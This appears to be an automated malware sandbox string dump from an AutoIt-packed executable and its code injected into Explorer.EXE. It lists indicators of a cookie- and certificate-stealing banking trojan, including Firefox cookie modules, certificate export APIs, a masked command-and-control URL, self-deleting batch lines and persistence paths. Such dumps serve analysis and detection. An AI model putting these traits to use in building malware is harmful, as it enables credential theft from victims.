%s:</pre><pre>UDPSTARTUP</pre><pre>UDPSHUTDOWN</pre><pre>UDPSEND</pre><pre>UDPRECV</pre><pre>UDPOPEN</pre><pre>UDPCLOSESOCKET</pre><pre>UDPBIND</pre><pre>TRAYGETMSG</pre><pre>TCPSTARTUP</pre><pre>TCPSHUTDOWN</pre><pre>TCPSEND</pre><pre>TCPRECV</pre><pre>TCPNAMETOIP</pre><pre>TCPLISTEN</pre><pre>TCPCONNECT</pre><pre>TCPCLOSESOCKET</pre><pre>TCPACCEPT</pre><pre>SHELLEXECUTEWAIT</pre><pre>SHELLEXECUTE</pre><pre>REGENUMKEY</pre><pre>MSGBOX</pre><pre>ISKEYWORD</pre><pre>HTTPSETUSERAGENT</pre><pre>HTTPSETPROXY</pre><pre>HOTKEYSET</pre><pre>GUIREGISTERMSG</pre><pre>GUIGETMSG</pre><pre>GUICTRLSENDMSG</pre><pre>GUICTRLRECVMSG</pre><pre>FTPSETPROXY</pre><pre>\??\%s</pre><pre>GUI_RUNDEFMSG</pre><pre>SendKeyDelay</pre><pre>SendKeyDownDelay</pre><pre>TCPTimeout</pre><pre>AUTOITCALLVARIABLE%d</pre><pre>255.255.255.255</pre><pre>Keyword</pre><pre>AutoIt.Error</pre><pre>Null Object assignment in FOR..IN loop</pre><pre>Incorrect Object type in FOR..IN loop</pre><pre>HOTKEYPRESSED</pre><pre>AUTOITEXE</pre><pre>WINDOWSDIR</pre><pre>3, 3, 8, 1</pre><pre>HKEY_LOCAL_MACHINE</pre><pre>HKEY_CLASSES_ROOT</pre><pre>HKEY_CURRENT_CONFIG</pre><pre>HKEY_CURRENT_USER</pre><pre>HKEY_USERS</pre><pre>%d/d/d</pre><pre>c:\%original file name%.exe</pre><pre>:C:\%original file name%.exe</pre><pre>AutoIt supports the __stdcall (WINAPI) and __cdecl calling conventions. The __stdcall (WINAPI) convention is used by default but __cdecl can be used instead. See the DllCall() documentation for details on changing the calling convention.</pre><pre>Missing operator in expression."Unbalanced brackets in expression.</pre><pre>Error parsing function call.0Incorrect number of parameters in function call.'"ReDim" used without an array variable.>Illegal text at the end of statement (one statement per line).1"If" statement has no matching "EndIf" statement.1"Else" statement with no matching "If" statement.2"EndIf" statement with no matching "If" statement.7Too many "Else" statements for matching "If" statement.3"While" statement has no matching "Wend" statement.4"Wend" statement with no matching "While" statement.%Variable used without being declared.XArray variable has incorrect number of subscripts or subscript dimension range exceeded.)Array variable subscript badly formatted.'Subscript used with non-Array variable.&Too many subscripts used for an array.0Missing subscript dimensions in "Dim" statement.NNo variable given for "Dim", "Local", "Global", "Struct" or "Const" statement.0Expected a "=" operator in assignment statement.*Invalid keyword at the start of this line.</pre><pre>Invalid element in a DllStruct.*Unknown option or bad parameter specified.&Unable to load the internet libraries./"Struct" statement has no matching "EndStruct".HUnable to open file, the maximum number of open files has been exceeded.K"ContinueLoop" statement with no matching "While", "Do" or "For" statement.</pre><pre>Invalid file filter given.*Expected a variable in user function call.1"Do" statement has no matching "Until" statement.2"Until" statement with no matching "Do" statement.#"For" statement is badly formatted.2"Next" statement with no matching "For" statement.N"ExitLoop/ContinueLoop" statements only valid from inside a For/Do/While loop.1"For" statement has no matching "Next" statement.@"Case" statement with no matching "Select"or "Switch" statement.:"EndSelect" statement with no matching "Select" statement.ORecursion level has been exceeded - AutoIt will quit to prevent stack overflow.&Cannot make existing variables static.4Cannot make static variables into regular variables.</pre><pre>3This keyword cannot be used after a "Then" keyword.</pre><pre>>"Select" statement is missing "EndSelect" or "Case" statement. "If" statements must have a "Then" keyword. Badly formated Struct statement."Cannot assign values to constants..Cannot make existing variables into constants.9Only Object-type variables allowed in a "With" statement.v"long_ptr", "int_ptr" and "short_ptr" DllCall() types have been deprecated. Use "long*", "int*" and "short*" instead.-Object referenced outside a "With" statement.)Nested "With" statements are not allowed."Variable must be of type "Object".1The requested action with this object has failed.8Variable appears more than once in function declaration.2ReDim array can not be initialized in this manner.1An array variable can not be used in this manner.</pre><pre>HCan pass constants by reference only to parameters with "Const" keyword.*Can not initialize a variable with itself.$Incorrect way to use this parameter.:"EndSwitch" statement with no matching "Switch" statement.>"Switch" statement is missing "EndSwitch" or "Case" statement.H"ContinueCase" statement with no matching "Select"or "Switch" statement.</pre><pre>String missing closing quote.!Badly formated variable or macro.*Missing separator character after keyword.</pre><b>%original file name%.exe_656_rwx_00401000_000B1000:</b><pre>s%j.Zf</pre><pre>8crtsu</pre><pre>:crts</pre><pre>crts</pre><pre>GetProcessWindowStation</pre><pre>operator</pre><pre>This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.</pre><pre>uxtheme.dll</pre><pre>kernel32.dll</pre><pre>operand of unlimited repeat could match the empty string</pre><pre>POSIX named classes are supported only within a class</pre><pre>erroffset passed as NULL</pre><pre>POSIX collating elements are not supported</pre><pre>this version of PCRE is not compiled with PCRE_UTF8 support</pre><pre>PCRE does not support \L, \l, \N{name}, \U, or \u</pre><pre>support for \P, \p, and \X has not been compiled</pre><pre>this version of PCRE is not compiled with PCRE_UCP support</pre><pre>ICMP.DLL</pre><pre>advapi32.dll</pre><pre>RegDeleteKeyExW</pre><pre>Error text not found (please report)</pre><pre>zcÁ</pre><pre>GetProcessHeap</pre><pre>CreatePipe</pre><pre>GetWindowsDirectoryW</pre><pre>GetCPInfo</pre><pre>RegDeleteKeyW</pre><pre>RegEnumKeyExW</pre><pre>RegCreateKeyExW</pre><pre>RegOpenKeyExW</pre><pre>RegCloseKey</pre><pre>SetViewportOrgEx</pre><pre>ShellExecuteExW</pre><pre>SHFileOperationW</pre><pre>ShellExecuteW</pre><pre>RegisterHotKey</pre><pre>GetKeyboardLayoutNameW</pre><pre>ExitWindowsEx</pre><pre>EnumThreadWindows</pre><pre>GetAsyncKeyState</pre><pre>SetKeyboardState</pre><pre>GetKeyboardState</pre><pre>GetKeyState</pre><pre>VkKeyScanW</pre><pre>EnumWindows</pre><pre>EnumChildWindows</pre><pre>MapVirtualKeyW</pre><pre>CloseWindowStation</pre><pre>SetProcessWindowStation</pre><pre>OpenWindowStationW</pre><pre>UnregisterHotKey</pre><pre>keybd_event</pre><pre>InternetCrackUrlW</pre><pre>HttpQueryInfoW</pre><pre>HttpOpenRequestW</pre><pre>HttpSendRequestW</pre><pre>FtpOpenFileW</pre><pre>FtpGetFileSize</pre><pre>InternetOpenUrlW</pre><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.rsrc</pre><pre>23$--%"!'</pre><pre>s.ak[</pre><pre>mscoree.dll</pre><pre>nKERNEL32.DLL</pre><pre>- Attempt to initialize the CRT more than once.</pre><pre>- CRT not initialized</pre><pre>- floating point support not loaded</pre><pre>WUSER32.DLL</pre><pre>>>>AUTOIT NO CMDEXECUTE<<<</pre><pre>CMDLINERAW</pre><pre>CMDLINE</pre><pre>/AutoIt3ExecuteLine</pre><pre>/AutoIt3ExecuteScript</pre><pre>%s (%d) : ==> %s.:</pre><pre>Line %d:</pre><pre>Line %d (File "%s"):</pre><pre>%s (%d) : ==> %s:</pre><pre>AutoIt script files (*.au3, *.a3x)</pre><pre>*.au3;*.a3x</pre><pre>All files (*.*)</pre><pre>#NoAutoIt3Execute</pre><pre>APPSKEY</pre><pre>04090000</pre><pre>%u.%u.%u.%u</pre><pre>0.0.0.0</pre><pre>Mddddd</pre><pre>%s (%d) : ==> %s:</pre><pre>UDPSTARTUP</pre><pre>UDPSHUTDOWN</pre><pre>UDPSEND</pre><pre>UDPRECV</pre><pre>UDPOPEN</pre><pre>UDPCLOSESOCKET</pre><pre>UDPBIND</pre><pre>TRAYGETMSG</pre><pre>TCPSTARTUP</pre><pre>TCPSHUTDOWN</pre><pre>TCPSEND</pre><pre>TCPRECV</pre><pre>TCPNAMETOIP</pre><pre>TCPLISTEN</pre><pre>TCPCONNECT</pre><pre>TCPCLOSESOCKET</pre><pre>TCPACCEPT</pre><pre>SHELLEXECUTEWAIT</pre><pre>SHELLEXECUTE</pre><pre>REGENUMKEY</pre><pre>MSGBOX</pre><pre>ISKEYWORD</pre><pre>HTTPSETUSERAGENT</pre><pre>HTTPSETPROXY</pre><pre>HOTKEYSET</pre><pre>GUIREGISTERMSG</pre><pre>GUIGETMSG</pre><pre>GUICTRLSENDMSG</pre><pre>GUICTRLRECVMSG</pre><pre>FTPSETPROXY</pre><pre>\??\%s</pre><pre>GUI_RUNDEFMSG</pre><pre>SendKeyDelay</pre><pre>SendKeyDownDelay</pre><pre>TCPTimeout</pre><pre>AUTOITCALLVARIABLE%d</pre><pre>255.255.255.255</pre><pre>Keyword</pre><pre>AutoIt.Error</pre><pre>Null Object assignment in FOR..IN loop</pre><pre>Incorrect Object type in FOR..IN loop</pre><pre>HOTKEYPRESSED</pre><pre>AUTOITEXE</pre><pre>WINDOWSDIR</pre><pre>3, 3, 8, 1</pre><pre>HKEY_LOCAL_MACHINE</pre><pre>HKEY_CLASSES_ROOT</pre><pre>HKEY_CURRENT_CONFIG</pre><pre>HKEY_CURRENT_USER</pre><pre>HKEY_USERS</pre><pre>%d/d/d</pre><pre>c:\%original file name%.exe</pre><pre>:C:\%original file name%.exe</pre><pre>AutoIt supports the __stdcall (WINAPI) and __cdecl calling conventions. The __stdcall (WINAPI) convention is used by default but __cdecl can be used instead. See the DllCall() documentation for details on changing the calling convention.</pre><pre>Missing operator in expression."Unbalanced brackets in expression.</pre><pre>Error parsing function call.0Incorrect number of parameters in function call.'"ReDim" used without an array variable.>Illegal text at the end of statement (one statement per line).1"If" statement has no matching "EndIf" statement.1"Else" statement with no matching "If" statement.2"EndIf" statement with no matching "If" statement.7Too many "Else" statements for matching "If" statement.3"While" statement has no matching "Wend" statement.4"Wend" statement with no matching "While" statement.%Variable used without being declared.XArray variable has incorrect number of subscripts or subscript dimension range exceeded.)Array variable subscript badly formatted.'Subscript used with non-Array variable.&Too many subscripts used for an array.0Missing subscript dimensions in "Dim" statement.NNo variable given for "Dim", "Local", "Global", "Struct" or "Const" statement.0Expected a "=" operator in assignment statement.*Invalid keyword at the start of this line.</pre><pre>Invalid element in a DllStruct.*Unknown option or bad parameter specified.&Unable to load the internet libraries./"Struct" statement has no matching "EndStruct".HUnable to open file, the maximum number of open files has been exceeded.K"ContinueLoop" statement with no matching "While", "Do" or "For" statement.</pre><pre>Invalid file filter given.*Expected a variable in user function call.1"Do" statement has no matching "Until" statement.2"Until" statement with no matching "Do" statement.#"For" statement is badly formatted.2"Next" statement with no matching "For" statement.N"ExitLoop/ContinueLoop" statements only valid from inside a For/Do/While loop.1"For" statement has no matching "Next" statement.@"Case" statement with no matching "Select"or "Switch" statement.:"EndSelect" statement with no matching "Select" statement.ORecursion level has been exceeded - AutoIt will quit to prevent stack overflow.&Cannot make existing variables static.4Cannot make static variables into regular variables.</pre><pre>3This keyword cannot be used after a "Then" keyword.</pre><pre>>"Select" statement is missing "EndSelect" or "Case" statement. "If" statements must have a "Then" keyword. Badly formated Struct statement."Cannot assign values to constants..Cannot make existing variables into constants.9Only Object-type variables allowed in a "With" statement.v"long_ptr", "int_ptr" and "short_ptr" DllCall() types have been deprecated. Use "long*", "int*" and "short*" instead.-Object referenced outside a "With" statement.)Nested "With" statements are not allowed."Variable must be of type "Object".1The requested action with this object has failed.8Variable appears more than once in function declaration.2ReDim array can not be initialized in this manner.1An array variable can not be used in this manner.</pre><pre>HCan pass constants by reference only to parameters with "Const" keyword.*Can not initialize a variable with itself.$Incorrect way to use this parameter.:"EndSwitch" statement with no matching "Switch" statement.>"Switch" statement is missing "EndSwitch" or "Case" statement.H"ContinueCase" statement with no matching "Select"or "Switch" statement.</pre><pre>String missing closing quote.!Badly formated variable or macro.*Missing separator character after keyword.</pre><b>%original file name%.exe_656_rwx_012D0000_0003B000:</b><pre>.text</pre><pre>`.data</pre><pre>.reloc</pre><pre>%s%s%s</pre><pre>HTTP/1.1</pre><pre>HTTP/1.0</pre><pre>http://</pre><pre>https://</pre><pre>HTTP/1.</pre><pre>gdiplus.dll</pre><pre>GdiplusShutdown</pre><pre>ole32.dll</pre><pre>gdi32.dll</pre><pre>http://www.google.com/webhp</pre><pre>PR_OpenTCPSocket</pre><pre>cit_ffcookie.module</pre><pre>cit_video.module</pre><pre>userenv.dll</pre><pre>del "%s"</pre><pre>if exist "%s" goto d</pre><pre>del /F "%s"</pre><pre>Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)</pre><pre>urlmon.dll</pre><pre>cabinet.dll</pre><pre>http://xxxxxxxx.com/xxxx/xxxx.php</pre><pre>%s, u %s %u u:u:u GMT</pre><pre>; charset=%s</pre><pre>HTTP/1.1 %u %s</pre><pre>Date: %s</pre><pre>Content-Length: %u</pre><pre>Expires: %s</pre><pre>Content-Type: %s%s</pre><pre>ID: %s</pre><pre>value_%s</pre><pre>value_%s_%s</pre><pre>%s = "%s";</pre><pre>update.exe</pre><pre>config.bin</pre><pre>facebook.com</pre><pre>Cookie: %s</pre><pre>Referer: %s</pre><pre>Accept: %s</pre><pre>Accept-Language: %s</pre><pre>Accept-Encoding: %s</pre><pre>='?8,6,&</pre><pre>&<'.6$2"</pre><pre>*;>",*' 04</pre><pre>%9%'62 1</pre><pre>0-'40'7!7</pre><pre>1$34/**8</pre><pre>!'8>#-" </pre><pre>38.2-0&5</pre><pre>0:.vmk<][</pre><pre>$/9%:'1"</pre><pre>^#?07&'22</pre><pre>_getFirefoxCookie</pre><pre>CreatePipe</pre><pre>GetProcessHeap</pre><pre>KERNEL32.dll</pre><pre>OpenWindowStationW</pre><pre>GetProcessWindowStation</pre><pre>CreateWindowStationW</pre><pre>CloseWindowStation</pre><pre>SetProcessWindowStation</pre><pre>GetKeyboardLayoutList</pre><pre>ExitWindowsEx</pre><pre>GetKeyboardState</pre><pre>MsgWaitForMultipleObjects</pre><pre>SetKeyboardState</pre><pre>MapVirtualKeyW</pre><pre>USER32.dll</pre><pre>RegCreateKeyExW</pre><pre>RegOpenKeyExW</pre><pre>RegCloseKey</pre><pre>RegEnumKeyExW</pre><pre>RegCreateKeyW</pre><pre>RegQueryInfoKeyW</pre><pre>RegEnumKeyW</pre><pre>ADVAPI32.dll</pre><pre>UrlUnescapeA</pre><pre>SHDeleteKeyW</pre><pre>PathIsURLW</pre><pre>SHLWAPI.dll</pre><pre>ShellExecuteW</pre><pre>SHELL32.dll</pre><pre>Secur32.dll</pre><pre>SetViewportOrgEx</pre><pre>GDI32.dll</pre><pre>WS2_32.dll</pre><pre>PFXImportCertStore</pre><pre>CertDeleteCertificateFromStore</pre><pre>CertOpenSystemStoreW</pre><pre>CertCloseStore</pre><pre>CertEnumCertificatesInStore</pre><pre>CertDuplicateCertificateContext</pre><pre>PFXExportCertStoreEx</pre><pre>CRYPT32.dll</pre><pre>HttpSendRequestExA</pre><pre>HttpQueryInfoA</pre><pre>HttpSendRequestExW</pre><pre>HttpSendRequestW</pre><pre>HttpOpenRequestA</pre><pre>HttpOpenRequestW</pre><pre>HttpEndRequestA</pre><pre>HttpSendRequestA</pre><pre>HttpEndRequestW</pre><pre>InternetCrackUrlA</pre><pre>HttpAddRequestHeadersW</pre><pre>HttpAddRequestHeadersA</pre><pre>GetUrlCacheEntryInfoW</pre><pre>WININET.dll</pre><pre>OLEAUT32.dll</pre><pre>NETAPI32.dll</pre><pre>VERSION.dll</pre><pre>WINMM.dll</pre><pre>PSSSSSSh</pre><pre>SSSh4</pre><pre>42>204:4</pre><pre>nspr4.dll</pre><pre>chrome.dll</pre><pre>kernel32.dll</pre><pre>\StringFileInfo\xx\%s</pre><pre>ntdll.dll</pre><pre>"%s" %s</pre><pre>/c "%s"</pre><pre>%sx.%s</pre><pre>%sx</pre><pre>SELECT * FROM %s</pre><pre>sXXXX</pre><pre>Company: %s</pre><pre>Product: %s</pre><pre>Version: %s</pre><pre>Software\Microsoft\Windows\CurrentVersion\Uninstall</pre><pre>%u: %s | %s | %s</pre><pre>Chrome</pre><pre>Firefox</pre><pre>SysShadow</pre><pre>Global\XXX</pre><pre>%Documents and Settings%\%current user%\Application Data</pre><pre>{6DB4D8E4-ADFE-1415-DC3A-507F1E7BFE75}</pre><pre>Global\{FBCF6AC1-1FDB-826E-DC3A-507F1E7BFE75}</pre><b>Explorer.EXE_128_rwx_01DF0000_0003B000:</b><pre>.text</pre><pre>`.data</pre><pre>.reloc</pre><pre>%s%s%s</pre><pre>HTTP/1.1</pre><pre>HTTP/1.0</pre><pre>http://</pre><pre>https://</pre><pre>HTTP/1.</pre><pre>gdiplus.dll</pre><pre>GdiplusShutdown</pre><pre>ole32.dll</pre><pre>gdi32.dll</pre><pre>http://www.google.com/webhp</pre><pre>PR_OpenTCPSocket</pre><pre>cit_ffcookie.module</pre><pre>cit_video.module</pre><pre>userenv.dll</pre><pre>del "%s"</pre><pre>if exist "%s" goto d</pre><pre>del /F "%s"</pre><pre>Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)</pre><pre>urlmon.dll</pre><pre>cabinet.dll</pre><pre>http://xxxxxxxx.com/xxxx/xxxx.php</pre><pre>%s, u %s %u u:u:u GMT</pre><pre>; charset=%s</pre><pre>HTTP/1.1 %u %s</pre><pre>Date: %s</pre><pre>Content-Length: %u</pre><pre>Expires: %s</pre><pre>Content-Type: %s%s</pre><pre>ID: %s</pre><pre>value_%s</pre><pre>value_%s_%s</pre><pre>%s = "%s";</pre><pre>update.exe</pre><pre>config.bin</pre><pre>facebook.com</pre><pre>Cookie: %s</pre><pre>Referer: %s</pre><pre>Accept: %s</pre><pre>Accept-Language: %s</pre><pre>Accept-Encoding: %s</pre><pre>='?8,6,&</pre><pre>&<'.6$2"</pre><pre>*;>",*' 04</pre><pre>%9%'62 1</pre><pre>0-'40'7!7</pre><pre>1$34/**8</pre><pre>!'8>#-" </pre><pre>38.2-0&5</pre><pre>0:.vmk<][</pre><pre>$/9%:'1"</pre><pre>^#?07&'22</pre><pre>_getFirefoxCookie</pre><pre>CreatePipe</pre><pre>GetProcessHeap</pre><pre>KERNEL32.dll</pre><pre>OpenWindowStationW</pre><pre>GetProcessWindowStation</pre><pre>CreateWindowStationW</pre><pre>CloseWindowStation</pre><pre>SetProcessWindowStation</pre><pre>GetKeyboardLayoutList</pre><pre>ExitWindowsEx</pre><pre>GetKeyboardState</pre><pre>MsgWaitForMultipleObjects</pre><pre>SetKeyboardState</pre><pre>MapVirtualKeyW</pre><pre>USER32.dll</pre><pre>RegCreateKeyExW</pre><pre>RegOpenKeyExW</pre><pre>RegCloseKey</pre><pre>RegEnumKeyExW</pre><pre>RegCreateKeyW</pre><pre>RegQueryInfoKeyW</pre><pre>RegEnumKeyW</pre><pre>ADVAPI32.dll</pre><pre>UrlUnescapeA</pre><pre>SHDeleteKeyW</pre><pre>PathIsURLW</pre><pre>SHLWAPI.dll</pre><pre>ShellExecuteW</pre><pre>SHELL32.dll</pre><pre>Secur32.dll</pre><pre>SetViewportOrgEx</pre><pre>GDI32.dll</pre><pre>WS2_32.dll</pre><pre>PFXImportCertStore</pre><pre>CertDeleteCertificateFromStore</pre><pre>CertOpenSystemStoreW</pre><pre>CertCloseStore</pre><pre>CertEnumCertificatesInStore</pre><pre>CertDuplicateCertificateContext</pre><pre>PFXExportCertStoreEx</pre><pre>CRYPT32.dll</pre><pre>HttpSendRequestExA</pre><pre>HttpQueryInfoA</pre><pre>HttpSendRequestExW</pre><pre>HttpSendRequestW</pre><pre>HttpOpenRequestA</pre><pre>HttpOpenRequestW</pre><pre>HttpEndRequestA</pre><pre>HttpSendRequestA</pre><pre>HttpEndRequestW</pre><pre>InternetCrackUrlA</pre><pre>HttpAddRequestHeadersW</pre><pre>HttpAddRequestHeadersA</pre><pre>GetUrlCacheEntryInfoW</pre><pre>WININET.dll</pre><pre>OLEAUT32.dll</pre><pre>NETAPI32.dll</pre><pre>VERSION.dll</pre><pre>WINMM.dll</pre><pre>PSSSSSSh</pre><pre>SSSh4</pre><pre>42>204:4</pre><pre>nspr4.dll</pre><pre>chrome.dll</pre><pre>kernel32.dll</pre><pre>\StringFileInfo\xx\%s</pre><pre>ntdll.dll</pre><pre>"%s" %s</pre><pre>/c "%s"</pre><pre>%sx.%s</pre><pre>%sx</pre><pre>SELECT * FROM %s</pre><pre>sXXXX</pre><pre>Company: %s</pre><pre>Product: %s</pre><pre>Version: %s</pre><pre>Software\Microsoft\Windows\CurrentVersion\Uninstall</pre><pre>%u: %s | %s | %s</pre><pre>Chrome</pre><pre>Firefox</pre><pre>SysShadow</pre><pre>Global\XXX</pre><pre>%Documents and Settings%\%current user%\Application Data</pre><pre>{6DB4D8E4-ADFE-1415-DC3A-507F1E7BFE75}</pre><pre>%Documents and Settings%\%current user%\Application Data\Eqoldu\actio.fis</pre><pre>%Documents and Settings%\%current user%\Application Data\Eqoldu</pre><pre>actio.fis</pre><pre>%Documents and Settings%\%current user%\Application Data\Bipeof\mowu.uho</pre><pre>%Documents and Settings%\%current user%\Application Data\Bipeof</pre><pre>mowu.uho</pre><pre>Global\{FBCF6AC1-1FDB-826E-DC3A-507F1E7BFE75}</pre></pre>